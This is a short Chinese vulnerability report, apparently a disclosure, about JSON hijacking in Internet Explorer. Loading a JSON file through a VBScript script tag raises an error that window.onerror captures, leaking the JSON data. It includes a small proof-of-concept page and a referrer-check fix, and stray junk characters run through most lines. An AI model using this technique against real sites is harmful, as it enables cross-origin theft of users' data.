简要描述:- |3 P% D6 s6 n. N9 \) H6 t
% Q$ l9 Q e: b# k" J- y" \
由于某些资源容器对数据处理不当导致json劫持漏洞.
/ d. I- G" k8 a; n$ h2 U详细说明:6 Q& C/ H: Y% |; x, n' E: X( `
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
5 E5 `, J9 t |; {: c; M# F<script language=vbscript></script>
3 E% V) `6 E @9 I7 q: P C7 ~( |: [, x1 a0 n% o% y, e# B
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
6 A6 O/ f6 o; J& L) ]漏洞证明:( C+ c8 D9 v) _! U% z( T! h4 R
<script>/ S$ J- H- P8 ?% [9 k L
window.onerror=function(_){7 J H' }9 m* v4 A
alert(_)" ^7 ]0 {( q7 y p. D/ l- m4 S
}
b7 f2 _$ {. A! J</script>( z1 G4 C6 F1 I$ a( i9 s4 B9 k
<script language=vbscript src=1.json></script>
5 n- H! h, O1 f, ]; p3 P! F9 S 1 e/ b: d6 M: o# z9 b, |/ G% s
5 N& u1 E& D7 Y
1.json:
& r& O& g, h. L) ][{"name":"sogili","age":19}]! t! o. A( a- |
修复方案:
9 Z) v$ c3 f- {( y+ x网站业务对于这个问题可以通过验证referrer是否为同源来防御 |